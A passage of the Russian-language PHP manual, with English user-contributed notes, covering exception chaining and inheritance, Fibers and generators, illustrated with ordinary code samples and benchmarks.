    echo $e->getPrevious()->getMessage();
}

// will output:
// thrown from finally
// thrown from catch
?>

The same happens even if explicitly pass null as previous exception:
<?php
try {
    try {
        throw new Exception('thrown from try');
    } finally {
        throw new Exception('thrown from finally', null, null);
    }
} catch(Exception $e) {
    echo $e->getMessage();
    echo PHP_EOL;
    echo $e->getPrevious()->getMessage();
}

// will output:
// thrown from finally
// thrown from try
?>

Also it is possible to pass previous exception explicitly, the 'original' one will be still appended to the chain, e.g.:
<?php
try {
    try {
        throw new Exception('thrown from try');
    } finally {
        throw new Exception(
            'thrown from finally',
            null,
            new Exception('Explicitly set previous!')
        );
    }
} catch(Exception $e) {
    echo $e->getMessage();
    echo PHP_EOL;
    echo $e->getPrevious()->getMessage();
    echo PHP_EOL;
    echo $e->getPrevious()->getPrevious()->getMessage();
}

// will output:
// thrown from finally
// Explicitly set previous!
// thrown from try
?>

This seems to be true for versions 5.6-8.2.
mlaopane at gmail dot com 24-Feb-2018 09:49
<?php

/**
 * You can catch exceptions thrown in a deep level function
 */

function employee()
{
    throw new \Exception("I am just an employee !");
}

function manager()
{
    employee();
}

function boss()
{
    try {
        manager();
    } catch (\Exception $e) {
        echo $e->getMessage();
    }
}

boss(); // output: "I am just an employee !"
daviddlowe dot flimm at gmail dot com 22-Sep-2017 01:13
Starting in PHP 7, the classes Exception and Error both implement the Throwable interface. This means, if you want to catch both Error instances and Exception instances, you should catch Throwable objects, like this:

<?php

try {
    throw new Error( "foobar" );
    // or:
    // throw new Exception( "foobar" );
}
catch (Throwable $e) {
    var_export( $e );
}

?>
christof+php[AT]insypro.com 15-Jun-2017 10:12
In case your E_WARNING type of errors aren't catchable with try/catch you can change them to another type of error like this:

<?php
    set_error_handler(function($errno, $errstr, $errfile, $errline){
            if($errno === E_WARNING){
                // make it more serious than a warning so it can be caught
                trigger_error($errstr, E_ERROR);
                return true;
            } else {
                // fallback to default php error handler
                return false;
            }
    });

    try {
            // code that might result in a E_WARNING
    } catch(Exception $e){
            // code to handle the E_WARNING (it's actually changed to E_ERROR at this point)
    } finally {
            restore_error_handler();
    }
?>
Simo 04-Apr-2015 02:47
#3 is not a good example. inverse("0a") would not be caught since (bool) "0a" returns true, yet 1/"0a" casts the string to integer zero and attempts to perform the calculation.
Tom Polomsk 04-Dec-2014 01:45
Contrary to the documentation it is possible in PHP 5.5 and higher use only try-finally blocks without any catch block.
telefoontoestel at nospam dot org 18-Jun-2014 12:34
When using finally keep in mind that when a exit/die statement is used in the catch block it will NOT go through the finally block.

<?php
try {
    echo "try block<br />";
    throw new Exception("test");
} catch (Exception $ex) {
    echo "catch block<br />";
} finally {
    echo "finally block<br />";
}

// try block
// catch block
// finally block
?>

<?php
try {
    echo "try block<br />";
    throw new Exception("test");
} catch (Exception $ex) {
    echo "catch block<br />";
    exit(1);
} finally {
    echo "finally block<br />";
}

// try block
// catch block
?>
Edu 24-Jun-2013 06:13
The "finally" block can change the exception that has been throw by the catch block.

<?php
try{
        try {
                throw new \Exception("Hello");
        } catch(\Exception $e) {
                echo $e->getMessage()." catch in\n";
                throw $e;
        } finally {
                echo $e->getMessage()." finally \n";
                throw new \Exception("Bye");
        }
} catch (\Exception $e) {
        echo $e->getMessage()." catch out\n";
}
?>

The output is:

Hello catch in
Hello finally
Bye catch out
Sawsan 28-Nov-2011 09:36
the following is an example of a re-thrown exception and the using of getPrevious function:

<?php

$name = "Name";

//check if the name contains only letters, and does not contain the word name

try
   {
   try
     {
      if (preg_match('/[^a-z]/i', $name))
       {
           throw new Exception("$name contains character other than a-z A-Z");
       }
       if(strpos(strtolower($name), 'name') !== FALSE)
       {
          throw new Exception("$name contains the word name");
       }
       echo "The Name is valid";
     }
   catch(Exception $e)
     {
     throw new Exception("insert name again",0,$e);
     }
   }

catch (Exception $e)
   {
   if ($e->getPrevious())
   {
    echo "The Previous Exception is: ".$e->getPrevious()->getMessage()."<br/>";
   }
   echo "The Exception is: ".$e->getMessage()."<br/>";
   }

 ?>
Johan 05-May-2011 01:18
Custom error handling on entire pages can avoid half rendered pages for the users:

<?php
ob_start();
try {
    /*contains all page logic
    and throws error if needed*/
    ...
} catch (Exception $e) {
  ob_end_clean();
  displayErrorPage($e->getMessage());
}
?>
ask at nilpo dot com 27-May-2009 12:19
If you intend on creating a lot of custom exceptions, you may find this code useful.  I've created an interface and an abstract exception class that ensures that all parts of the built-in Exception class are preserved in child classes.  It also properly pushes all information back to the parent constructor ensuring that nothing is lost.  This allows you to quickly create new exceptions on the fly.  It also overrides the default __toString method with a more thorough one.

<?php
interface IException
{
    /* Protected methods inherited from Exception class */
    public function getMessage();                 // Exception message
    public function getCode();                    // User-defined Exception code
    public function getFile();                    // Source filename
    public function getLine();                    // Source line
    public function getTrace();                   // An array of the backtrace()
    public function getTraceAsString();           // Formated string of trace

    /* Overrideable methods inherited from Exception class */
    public function __toString();                 // formated string for display
    public function __construct($message = null, $code = 0);
}

abstract class CustomException extends Exception implements IException
{
    protected $message = 'Unknown exception';     // Exception message
    private   $string;                            // Unknown
    protected $code    = 0;                       // User-defined exception code
    protected $file;                              // Source filename of exception
    protected $line;                              // Source line of exception
    private   $trace;                             // Unknown

    public function __construct($message = null, $code = 0)
    {
        if (!$message) {
            throw new $this('Unknown '. get_class($this));
        }
        parent::__construct($message, $code);
    }

    public function __toString()
    {
        return get_class($this) . " '{$this->message}' in {$this->file}({$this->line})\n"
                                . "{$this->getTraceAsString()}";
    }
}
?>

Now you can create new exceptions in one line:

<?php
class TestException extends CustomException {}
?>

Here's a test that shows that all information is properly preserved throughout the backtrace.

<?php
function exceptionTest()
{
    try {
        throw new TestException();
    }
    catch (TestException $e) {
        echo "Caught TestException ('{$e->getMessage()}')\n{$e}\n";
    }
    catch (Exception $e) {
        echo "Caught Exception ('{$e->getMessage()}')\n{$e}\n";
    }
}

echo '<pre>' . exceptionTest() . '</pre>';
?>

Here's a sample output:

Caught TestException ('Unknown TestException')
TestException 'Unknown TestException' in C:\xampp\htdocs\CustomException\CustomException.php(31)
#0 C:\xampp\htdocs\CustomException\ExceptionTest.php(19): CustomException->__construct()
#1 C:\xampp\htdocs\CustomException\ExceptionTest.php(43): exceptionTest()
#2 {main}
Shot (Piotr Szotkowski) 21-Oct-2008 12:13
'Normal execution (when no exception is thrown within the try block, *or when a catch matching the thrown exception's class is not present*) will continue after that last catch block defined in sequence.'

'If an exception is not caught, a PHP Fatal Error will be issued with an "Uncaught Exception ..." message, unless a handler has been defined with set_exception_handler().'

These two sentences seem a bit contradicting about what happens 'when a catch matching the thrown exception's class is not present' (and the second sentence is actually correct).


Наследование исключений

Определённый пользователем класс исключения должен быть определён, как класс расширяющий (наследующий) встроенный класс Exception. Ниже приведены методы и свойства класса Exception, доступные дочерним классам.

Пример #1 Встроенный класс Exception

<?php
class Exception implements Throwable
{
protected $message = 'Unknown exception'; // сообщение об исключении
private $string; // свойство для __toString
protected $code = 0; // пользовательский код исключения
protected $file; // файл, в котором было выброшено исключение
protected $line; // строка, в которой было выброшено исключение
private $trace; // трассировка вызовов методов и функций
private $previous; // предыдущее исключение, если исключение вложенное

public function __construct($message = '', $code = 0, Throwable $previous = null);

final private function __clone(); // запрещает клонирования исключения

final public function getMessage(); // сообщение исключения
final public function getCode(); // код исключения
final public function getFile(); // файл, где выброшено исключение
final public function getLine(); // строка, на которой выброшено исключение
final public function getTrace(); // массив backtrace()
final public function getPrevious(); // предыдущее исключение
final public function getTraceAsString(); // отформатированная строка трассировки

// Переопределяемый
public function __toString(); // отформатированная строка для отображения
}
?>

Если класс, наследуемый от Exception переопределяет конструктор, необходимо вызвать в конструкторе parent::__construct(), чтобы быть уверенным, что все доступные данные были правильно присвоены. Метод __toString() может быть переопределён, чтобы обеспечить нужный вывод, когда объект преобразуется в строку.

Замечание:

Исключения нельзя клонировать. Попытка клонировать исключение приведёт к неисправимой ошибке E_ERROR.

Пример #2 Наследование класса Exception

<?php
/**
* Определим свой класс исключения
*/
class MyException extends Exception
{
// Переопределим исключение так, что параметр message станет обязательным
public function __construct($message, $code = 0, Throwable $previous = null) {
// некоторый код

// убедитесь, что все передаваемые параметры верны
parent::__construct($message, $code, $previous);
}

// Переопределим строковое представление объекта.
public function __toString() {
return __CLASS__ . ": [{$this->code}]: {$this->message}\n";
}

public function customFunction() {
echo "Мы можем определять новые методы в наследуемом классе\n";
}
}

/**
* Создадим класс для тестирования исключения
*/
class TestException
{
public $var;

const THROW_NONE = 0;
const THROW_CUSTOM = 1;
const THROW_DEFAULT = 2;

function __construct($avalue = self::THROW_NONE) {

switch ($avalue) {
case self::THROW_CUSTOM:
// Выбрасываем собственное исключение
throw new MyException('1 - неправильный параметр', 5);
break;

case self::THROW_DEFAULT:
// Выбрасываем встроеное исключение
throw new Exception('2 - недопустимый параметр', 6);
break;

default:
// Никаких исключений, объект будет создан.
$this->var = $avalue;
break;
}
}
}

// Пример 1
try {
$o = new TestException(TestException::THROW_CUSTOM);
} catch (MyException $e) { // Будет перехвачено
echo "Поймано собственное переопределённое исключение\n", $e;
$e->customFunction();
} catch (Exception $e) { // Будет пропущено
echo "Поймано встроенное исключение\n", $e;
}

// Отсюда будет продолжено выполнение программы
var_dump($o); // Null
echo "\n\n";

// Пример 2
try {
$o = new TestException(TestException::THROW_DEFAULT);
} catch (MyException $e) { // Тип исключения не совпадёт
echo "Поймано переопределённое исключение\n", $e;
$e->customFunction();
} catch (Exception $e) { // Будет перехвачено
echo "Перехвачено встроенное исключение\n", $e;
}

// Отсюда будет продолжено выполнение программы
var_dump($o); // Null
echo "\n\n";

// Пример 3
try {
$o = new TestException(TestException::THROW_CUSTOM);
} catch (Exception $e) { // Будет перехвачено
echo "Поймано встроенное исключение\n", $e;
}

// Продолжение исполнения программы
var_dump($o); // Null
echo "\n\n";

// Пример 4
try {
$o = new TestException();
} catch (Exception $e) { // Будет пропущено, т.к. исключение не выбрасывается
echo "Поймано встроенное исключение\n", $e;
}

// Продолжение выполнения программы
var_dump($o); // TestException
echo "\n\n";
?>

User Contributed Notes

Hayley Watson 25-Feb-2019 04:13
Check the other SPL Exception classes and extend one of those if your intended exception is a subclass of one of those. This allows more finesse when catching.
florenxe 15-Sep-2015 11:25
I just wanted to add that "extends" is same concept of "Inheritance" or "Prototyping in Javascript". So when you extend a class, you are simply inheriting the class's methods and properties. So you can create custom classes from existing classes like extending the array class.
shaman_master at list dot ru 14-Dec-2014 12:57
Use this example for not numeric codes:
<code>
<?php
class MyException extends Exception
{
    /**
     * Creates a new exception.
     *
     * @param string       $message   Error message
     * @param mixed       $code         The exception code
     * @param Exception $previous  Previous exception
     * @return void
     */
    public function __construct($message = '', $code = 0, Exception $previous = null)
    {
        // Pass the message and integer code to the parent
        parent::__construct((string)$message, (int)$code, $previous);

        // @link http://bugs.php.net/39615 Save the unmodified code
        $this->code = $code;
    }
}
</code>
michaelrfairhurst at gmail dot com 15-Oct-2012 04:55
Custom exception classes can allow you to write tests that prove your exceptions
are meaningful. Usually testing exceptions, you either assert the message equals
something in which case you can't change the message format without refactoring,
or not make any assertions at all in which case you can get misleading messages
later down the line. Especially if your $e->getMessage is something complicated
like a var_dump'ed context array.

The solution is to abstract the error information from the Exception class into
properties that can be tested everywhere except the one test for your formatting.

<?php

class TestableException extends Exception {

        private $property;

        function __construct($property) {

                $this->property = $property;
                parent::__construct($this->format($property));

        }

        function format($property) {
                return "I have formatted: " . $property . "!!";
        }

        function getProperty() {
                return $this->property;
        }

}

function testSomethingThrowsTestableException() {
        try {
                throw new TestableException('Property');
        } Catch (TestableException $e) {
                $this->assertEquals('Property', $e->getProperty());
        }
}

function testExceptionFormattingOnlyOnce() {
        $e = new TestableException;
        $this->assertEquals('I have formatted: properly for the only required test!!',
                $e->format('properly for the only required test')
        );
}

?>
Dor 15-Oct-2011 02:30
It's important to note that subclasses of the Exception class will be caught by the default Exception handler

<?php

    /**
     * NewException
     * Extends the Exception class so that the $message parameter is now mendatory.
     *
     */
    class NewException extends Exception {
        //$message is now not optional, just for the extension.
        public function __construct($message, $code = 0, Exception $previous = null) {
            parent::__construct($message, $code, $previous);
        }
    }

    /**
     * TestException
     * Tests and throws Exceptions.
     */
    class TestException {
        const NONE = 0;
        const NORMAL = 1;
        const CUSTOM = 2;
        public function __construct($type = self::NONE) {
            switch ($type) {
                case 1:
                    throw new Exception('Normal Exception');
                    break;
                case 2:
                    throw new NewException('Custom Exception');
                    break;
                default:
                    return 0; //No exception is thrown.
            }
        }
    }

    try {
        $t = new TestException(TestException::CUSTOM);
    }
    catch (Exception $e) {
        print_r($e); //Exception Caught
    }

?>

Note that if an Exception is caught once, it won't be caught again (even for a more specific handler).
iamhiddensomewhere at gmail dot com 31-Dec-2009 03:17
As previously noted exception linking was recently added (and what a god-send it is, it certainly makes layer abstraction (and, by association, exception tracking) easier).

Since <5.3 was lacking this useful feature I took some initiative and creating a custom exception class that all of my exceptions inherit from:

<?php

class SystemException extends Exception
{
    private $previous;

    public function __construct($message, $code = 0, Exception $previous = null)
    {
        parent::__construct($message, $code);

        if (!is_null($previous))
        {
            $this -> previous = $previous;
        }
    }

    public function getPrevious()
    {
        return $this -> previous;
    }
}

?>

Hope you find it useful.
sapphirepaw.org 24-Nov-2009 07:37
Support for exception linking was added in PHP 5.3.0. The getPrevious() method and the $previous argument to the constructor are not available on any built-in exceptions in older versions of PHP.
paragdiwan at gmail dot com 17-Jan-2009 01:32
I have written similar simple custom exception class. Helpful for newbie.
<?php
    /*
        This is written for overriding the exceptions.
        custom exception class
    */
    error_reporting(E_ALL-E_NOTICE);
    class myCustomException extends Exception
    {

        public function __construct($message, $code=0)
        {
            parent::__construct($message,$code);
        }

        public function __toString()
        {
            return "<b style='color:red'>".$this->message."</b>";
        }

    }

    class testException
    {

        public function __construct($x)
        {

            $this->x=$x;

        }

        function see()
        {

            if($this->x==9 )
            {
                throw new myCustomException("i didnt like it");
            }
        }
    }

    $obj = new testException(9);
    try{

        $obj->see();
    }
    catch(myCustomException $e)
    {
        echo $e;
    }
?>


Fibers

Обзор файберов

(PHP 8 >= 8.1.0)

Файберы представляют собой прерываемые функции полного цикла. Файберы могут быть приостановлены из любого места цикла, приостанавливая выполнение в файбере до тех пор, пока файбер не будет возобновлён в будущем.

Файберы приостанавливают весь цикл выполнения, поэтому вызывающему функцию напрямую не нужно менять способ её вызова.

Выполнение может быть прервано в любом месте цикла с помощью метода Fiber::suspend() (то есть вызов Fiber::suspend() может находиться в глубоко вложенной функции или даже вообще не существовать).

В отличие от генераторов (Generator) без стека, у каждого объекта Fiber есть свой собственный стек вызовов, позволяющий приостанавливать их внутри глубоко вложенных вызовов функций. Функция, объявляющая точку прерывания (то есть вызов метода Fiber::suspend()), не должна изменять свой возвращаемый тип, в отличие от функции, использующей yield, который должен возвращать экземпляр Generator.

Файберы могут быть приостановлены при вызове любой функции, включая те, которые вызываются из виртуальной машины PHP, например, функции, предоставляемые array_map(), или методы, вызываемые foreach для объекта Iterator.

После приостановки выполнение файбера может быть возобновлено с любым значением с помощью метода Fiber::resume() или путём передачи исключения в файбер с помощью Fiber::throw(). Значение возвращается (или выбрасывается исключение) из метода Fiber::suspend().

Замечание: Из-за текущих ограничений невозможно переключать файбер в деструкторе объекта.

Пример #1 Простой пример

<?php
$fiber = new Fiber(function (): void {
$value = Fiber::suspend('fiber');
echo "Значение возобновлённого файбера: ", $value, PHP_EOL;
});

$value = $fiber->start();

echo "Значение приостановленного файбера: ", $value, PHP_EOL;

$fiber->resume('test');
?>

Результат выполнения данного примера:

Значение приостановленного файбера: fiber
Значение возобновлённого файбера: test

User Contributed Notes

nesk at xakep dot ru 24-Oct-2022 01:21
I think that in some cases it makes sense to convert a Fiber to a Generator (Coroutine) for convenience. In such cases, this code will be useful:

<?php
function fiber_to_coroutine(\Fiber $fiber): \Generator
{
    $index = -1; // Note: Pre-increment is faster than post-increment.
    $value = null;

    // Allow an already running fiber.
    if (!$fiber->isStarted()) {
        $value = yield ++$index => $fiber->start();
    }

    // A Fiber without suspends should return the result immediately.
    if (!$fiber->isTerminated()) {
        while (true) {
            $value = $fiber->resume($value);

            // The last call to "resume()" moves the execution of the
            // Fiber to the "return" stmt.
            //
            // So the "yield" is not needed. Skip this step and return
            // the result.
            if ($fiber->isTerminated()) {
                break;
            }

            $value = yield ++$index => $value;
        }
    }

    return $fiber->getReturn();
}
?>
dvohra09 at yahoo dot com 07-Oct-2022 04:51
Fiber::isRunning does not return a value
Sample
-------

<?php

$fiber = new Fiber(function (): void {
 $value = Fiber::suspend('suspend');

echo "Fiber is resumed with value: ", $value, "\n";

});

echo "Fiber not yet started.", "\n";

$value = $fiber->start();

echo "Fiber is started: ", $fiber->isStarted(), "\n";
echo "Fiber is suspended: ", $fiber->isSuspended(), "\n";

echo "Fiber is running: ", $fiber->isRunning(), "\n";

 echo "Fiber is suspended with value: ", $value, "\n";
 $fiber->resume('resume');

echo "Fiber is running: ", $fiber->isRunning(), "\n";

?>
Output
---

Fiber not yet started. Fiber is started: 1 Fiber is suspended: 1 Fiber is running: Fiber is suspended with value: suspend Fiber is resumed with value: resume Fiber is running:
newuser 01-Aug-2022 03:04
Example of the same functionality showing what is the difference between Fiber and Generator
<?php
$gener = (function () use (&$gener): Generator {
    $userfunc = function () use (&$gener) : Generator {
        register_shutdown_function(function () use (&$gener) {
            $gener->send('test');
        });
        return yield 'test';
    };
    $parm = yield from $userfunc();
    echo "Value used to resume fiber: ", $parm, PHP_EOL;
})();

$res = $gener->current();
echo "Value from fiber suspending: ", $res, PHP_EOL;
?>
<?php
$fiber = new Fiber(function () use (&$fiber) : void {
    $userfunc = function () use (&$fiber) : string {
        register_shutdown_function(function () use (&$fiber) {
            $fiber->resume('test');
        });
        return Fiber::suspend('fiber');
    };
    $parm = $userfunc();
    echo "Value used to resume fiber: ", $parm, PHP_EOL;
});

$res = $fiber->start();
echo "Value from fiber suspending: ", $res, PHP_EOL;
?>
Ali Madadi 14-Jul-2022 10:17
Here is a simple scheduler and thread pool that implements multithreading using fibers and tick functions in PHP 8.1 and returns the return value of each function in the pool in an array at the end.

Note that due to some bugs, you need to register a new tick function for each "thread". Remember to unregister all of them at the end.

The link bellow is the discussion on a bug that is going on right now (At the time of writing this). Note that based on the discussion, the ability to call Fiber::suspend() inside tick function may become forbidden in PHP 8.2+. But if the bug gets fixed, you can move register_tick_function() line to the top of the class, and this simple multithreading class in pure PHP code will work like a charm.
https://github.com/php/php-src/issues/8960

<?php

declare(ticks=1);

class Thread {
  protected static $names = [];
  protected static $fibers = [];
  protected static $params = [];

  public static function register(string|int $name, callable $callback, array $params)
  {
    self::$names[]  = $name;
    self::$fibers[] = new Fiber($callback);
    self::$params[] = $params;
  }

  public static function run() {
    $output = [];

    while (self::$fibers) {
      foreach (self::$fibers as $i => $fiber) {
          try {
              if (!$fiber->isStarted()) {
                  // Register a new tick function for scheduling this fiber
                  register_tick_function('Thread::scheduler');
                  $fiber->start(...self::$params[$i]);
              } elseif ($fiber->isTerminated()) {
                  $output[self::$names[$i]] = $fiber->getReturn();
                  unset(self::$fibers[$i]);
              } elseif ($fiber->isSuspended()) {
                $fiber->resume();
              }
          } catch (Throwable $e) {
              $output[self::$names[$i]] = $e;
          }
      }
    }

    return $output;
  }

  public static function scheduler () {
    if(Fiber::getCurrent() === null) {
      return;
    }

    // running Fiber::suspend() in this if condition will prevent an infinite loop!
    if(count(self::$fibers) > 1)
    {
      Fiber::suspend();
    }
  }
}

?>

And here is an example code on how to use above Thread class:

<?php

// defining a non-blocking thread, so multiple calls will run in concurrent mode using above Thread class.
function thread (string $print, int $loop)
{
  $i = $loop;
  while ($i--){
    echo $print;
  }

  return "Thread '{$print}' finished after printing '{$print}' for {$loop} times!";
}

// registering 6 Threads (A, B, C, D, E, and F)
foreach(range('A', 'F') as $c) {
  Thread::register($c, 'thread', [$c, rand(5, 20)]);
}

// run threads and wait until execution finishes
$outputs = Thread::run();

// print outputs
echo PHP_EOL, '-------------- RETURN VALUES --------------', PHP_EOL;
print_r($outputs);

?>

The output will be something like this (but probably different):

ABCDEFABCDEFABCDEFABCDEFABCDEFABCEFABFABFABEBEFBEFEFEFAABEABEBEFBEFFAAAAAA
-------------- RETURN VALUES --------------
Array
(
    [D] => Thread 'D' finished after printing 'D' for 5 times!
    [C] => Thread 'C' finished after printing 'C' for 6 times!
    [E] => Thread 'E' finished after printing 'E' for 15 times!
    [B] => Thread 'B' finished after printing 'B' for 15 times!
    [F] => Thread 'F' finished after printing 'F' for 15 times!
    [A] => Thread 'A' finished after printing 'A' for 18 times!
)
maxpanchnko at gmail dot com 22-May-2022 12:16
One of examples, how to make multi_curl faster twice (pseudocode) using Fibers:

<?php

$curlHandles = [];
$urls = [
    'https://example.com/1',
    'https://example.com/2',
    ...
    'https://example.com/1000',
];
$mh = curl_multi_init();
$mh_fiber = curl_multi_init();

$halfOfList = floor(count($urls) / 2);
foreach ($urls as $index => $url) {
    $ch = curl_init($url);
    $curlHandles[] = $ch;

    // half of urls will be run in background in fiber
    $index > $halfOfList ? curl_multi_add_handle($mh_fiber, $ch) : curl_multi_add_handle($mh, $ch);
}

$fiber = new Fiber(function (CurlMultiHandle $mh) {
    $still_running = null;
    do {
        curl_multi_exec($mh, $still_running);
        Fiber::suspend();
    } while ($still_running);
});

// run curl multi exec in background while fiber is in suspend status
$fiber->start($mh_fiber);

$still_running = null;
do {
    $status = curl_multi_exec($mh, $still_running);
} while ($still_running);

do {
    /**
     * at this moment curl in fiber already finished (maybe)
     * so we must refresh $still_running variable with one more cycle "do while" in fiber
     **/
    $status_fiber = $fiber->resume();
} while (!$fiber->isTerminated());

foreach ($curlHandles as $index => $ch) {
    $index > $halfOfList ? curl_multi_remove_handle($mh_fiber, $ch) : curl_multi_remove_handle($mh, $ch);
}
curl_multi_close($mh);
curl_multi_close($mh_fiber);
?>
user at csa dot es 05-May-2022 07:11
Perhaps not using the same variable name everywhere will be a good idea

<?php
$fiber = new Fiber(function (): void {
   $parm = Fiber::suspend('fiber');
   echo "Value used to resume fiber: ", $parm, PHP_EOL;
});

$res = $fiber->start();

echo "Value from fiber suspending: ", $res, PHP_EOL;

$fiber->resume('test');
?>


Генераторы

Содержание

  • Знакомство с генераторами
  • Синтаксис генераторов
  • Сравнение генераторов с объектами класса Iterator

User Contributed Notes

There are no user contributed notes for this page.


Знакомство с генераторами

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Генераторы предоставляют лёгкий способ реализации простых итераторов без использования дополнительных ресурсов или сложностей, связанных с реализацией класса, реализующего интерфейс Iterator.

Генератор позволяет вам писать код, использующий foreach для перебора набора данных без необходимости создания массива в памяти, что может привести к превышению лимита памяти, либо потребует довольно много времени для его создания. Вместо этого, вы можете написать функцию-генератор, которая, по сути, является обычной функцией, за исключением того, что вместо возврата единственного значения, генератор может возвращать (yield) столько раз, сколько необходимо для генерации значений, позволяющих перебрать исходный набор данных.

Наглядным примером вышесказанного может послужить использование функции range() как генератора. Стандартная функция range() генерирует массив, состоящий из значений, и возвращает его, что может привести к генерации огромных массивов данных. Например, вызов range(0, 1000000) приведёт к использованию более 100 МБ оперативной памяти.

В качестве альтернативы мы можем создать генератор xrange(), который использует память только для создания объекта Iterator и сохранения текущего состояния, что потребует не больше 1 килобайта памяти.

Пример #1 Реализация range() как генератора

<?php
function xrange($start, $limit, $step = 1) {
if ($start <= $limit) {
if ($step <= 0) {
throw new LogicException('Шаг должен быть положительным');
}

for ($i = $start; $i <= $limit; $i += $step) {
yield $i;
}
} else {
if ($step >= 0) {
throw new LogicException('Шаг должен быть отрицательным');
}

for ($i = $start; $i >= $limit; $i += $step) {
yield $i;
}
}
}

/* Обратите внимание, что и range() и xrange() дадут один и тот же вывод */

echo 'Нечётные однозначные числа с помощью range(): ';
foreach (range(1, 9, 2) as $number) {
echo "$number ";
}
echo "\n";

echo 'Нечётные однозначные числа с помощью xrange(): ';
foreach (xrange(1, 9, 2) as $number) {
echo "$number ";
}
?>

Результат выполнения данного примера:

Нечётные однозначные числа с помощью range():  1 3 5 7 9
Нечётные однозначные числа с помощью xrange(): 1 3 5 7 9

Объект Generator

Когда функция генератор вызывается, она вернёт объект встроенного класса Generator. Этот объект реализует интерфейс Iterator, станет однонаправленным объектом итератора и предоставит методы, с помощью которых можно управлять его состоянием, включая передачу в него и возвращения из него значений.

User Contributed Notes

chung1905 at gmail dot com 03-Oct-2019 03:09
In addition to the note of "montoriusz at gmail dot com": https://www.php.net/manual/en/language.generators.overview.php#119275

"If you need to perform some action when the function is called and before the result is used, you'll have to wrap your generator in another function."
You can use Generator::rewind instead (https://www.php.net/manual/en/generator.rewind.php)

Sample code:
<?php
/** function/generator definition **/

echo "calling gen()...\n";
$result = gen();
$result->rewind();
echo "gen() was called\n";

/** iteration **/
?>
Anonymous 22-Feb-2019 08:34
Same example, different results:

----------------------------------
           |  time  | memory, mb |
----------------------------------
| not gen  | 0.7589 | 146.75     |
|---------------------------------
| with gen | 0.7469 | 8.75       |
|---------------------------------

Time in results varying from 6.5 to 7.8 on both exassmples.
So no real drawbacks concerning processing speed.
youssefbenhssaien at gmail dot com 13-Apr-2017 03:29
A simple function to parse an ini configuration file
<?php
    function parse_ini($file_path){
        if(!file_exists($file_path)){
            throw new Exception("File not exists ${file_path}");
        }
        $text = fopen($file_path, 'r');
        while($line=fgets($text)){
            list($key, $param) = explode('=', $line);
            yield $key => $param;
        }
    }
?>
//Usage : parse_ini('param.ini') // returns Generator Object
//Usage : iterator_to_array(parse_ini('param.ini')); // returns an array
montoriusz at gmail dot com 01-May-2016 11:55
Bear in mind that execution of a generator function is postponed until iteration over its result (the Generator object) begins. This might confuse one if the result of a generator is assigned to a variable instead of immediate iteration.

<?php

$some_state = 'initial';

function gen() {
    global $some_state;

    echo "gen() execution start\n";
    $some_state = "changed";

    yield 1;
    yield 2;
}

function peek_state() {
    global $some_state;
    echo "\$some_state = $some_state\n";
}

echo "calling gen()...\n";
$result = gen();
echo "gen() was called\n";

peek_state();

echo "iterating...\n";
foreach ($result as $val) {
    echo "iteration: $val\n";
    peek_state();
}

?>

If you need to perform some action when the function is called and before the result is used, you'll have to wrap your generator in another function.

<?php
/**
  * @return Generator
  */
function some_generator() {
    global $some_state;

    $some_state = "changed";
    return gen();
}
?>
info at boukeversteegh dot nl 21-Dec-2015 12:21
Here's how to detect loop breaks, and how to handle or cleanup after an interruption.

<?php
    function generator()
    {
        $complete = false;
        try {

            while (($result = some_function())) {
                yield $result;
            }
            $complete = true;

        } finally {
            if (!$complete) {
                // cleanup when loop breaks
            } else {
                // cleanup when loop completes
            }
        }

        // Do something only after loop completes
    }
?>
dc at libertyskull dot com 17-Feb-2014 02:59
Same example, different results:

----------------------------------
           |  time  | memory, mb |
----------------------------------
| not gen  | 0.7589 | 146.75     |
|---------------------------------
| with gen | 0.7469 | 8.75       |
|---------------------------------

Time in results varying from 6.5 to 7.8 on both examples.
So no real drawbacks concerning processing speed.
lubaev 15-Jan-2014 11:46
Abstract test.
<?php

$start_time=microtime(true);
$array = array();
$result = '';
for($count=1000000; $count--;)
{
  $array[]=$count/2;
}
foreach($array as $val)
{
  $val += 145.56;
  $result .= $val;
}
$end_time=microtime(true);

echo "time: ", bcsub($end_time, $start_time, 4), "\n";
echo "memory (byte): ", memory_get_peak_usage(true), "\n";

?>

<?php

$start_time=microtime(true);
$result = '';
function it()
{
  for($count=1000000; $count--;)
  {
    yield $count/2;
  }
}
foreach(it() as $val)
{
  $val += 145.56;
  $result .= $val;
}
$end_time=microtime(true);

echo "time: ", bcsub($end_time, $start_time, 4), "\n";
echo "memory (byte): ", memory_get_peak_usage(true), "\n";

?>
Result:
----------------------------------
           |  time  | memory, mb |
----------------------------------
| not gen  | 2.1216 | 89.25      |
|---------------------------------
| with gen | 6.1963 | 8.75       |
|---------------------------------
| diff     | < 192% | > 90%      |
----------------------------------
bloodjazman at gmail dot com 15-Aug-2013 07:32
for the protection from the leaking of resources
see RFC https://wiki.php.net/rfc/generators#closing_a_generator

and use finnaly

sample code

function getLines($file) {
    $f = fopen($file, 'r');
    try {
        while ($line = fgets($f)) {
            yield $line;
        }
    } finally {
        fclose($f);
    }
}

foreach (getLines("file.txt") as $n => $line) {
    if ($n > 5) break;
    echo $line;
}


Синтаксис генераторов

Генератор в целом выглядит как обычная функция, за исключением того, что вместо возвращения одного значения, генератор будет перебирать столько значений, сколько необходимо. Любая функция, содержащая yield, является функцией генератора.

Когда вызывается генератор, он возвращает объект, который можно итерировать. Когда вы итерируете этот объект (например, в цикле foreach), PHP вызывает методы итерации объекта каждый раз, когда вам нужно новое значение, после чего сохраняет состояние генератора и при следующем вызове возвращает следующее значение.

Когда все значения в генераторе закончились, генератор просто завершит работу, ничего не вернув. После этого основной код продолжит работу, как если бы в массиве закончились элементы для перебора.

Замечание:

Генераторы могут возвращать значения, которые можно получить с помощью Generator::getReturn().

Ключевое слово yield

Вся суть генератора заключается в ключевом слове yield. В самом простом варианте оператор "yield" можно рассматривать как оператор "return", за исключением того, что вместо прекращения работы функции, "yield" только приостанавливает её выполнение и возвращает текущее значение, и при следующем вызове функции она возобновит выполнение с места, на котором прервалась.

Пример #1 Простой пример выдачи значений

<?php
function gen_one_to_three() {
for ($i = 1; $i <= 3; $i++) {
// Обратите внимание, что $i сохраняет своё значение между вызовами.
yield $i;
}
}

$generator = gen_one_to_three();
foreach ($generator as $value) {
echo "$value\n";
}
?>

Результат выполнения данного примера:

1
2
3

Замечание:

Последовательность целых чисел будет связана с получаемыми от генератора значениями, как будто перебирается неассоциативный массив.

Получение значений с ключами

PHP поддерживает ассоциативные массивы, и генераторы не являются исключением. Так же как можно получать простые значения, как показано выше, вы можете получать значения с ключами.

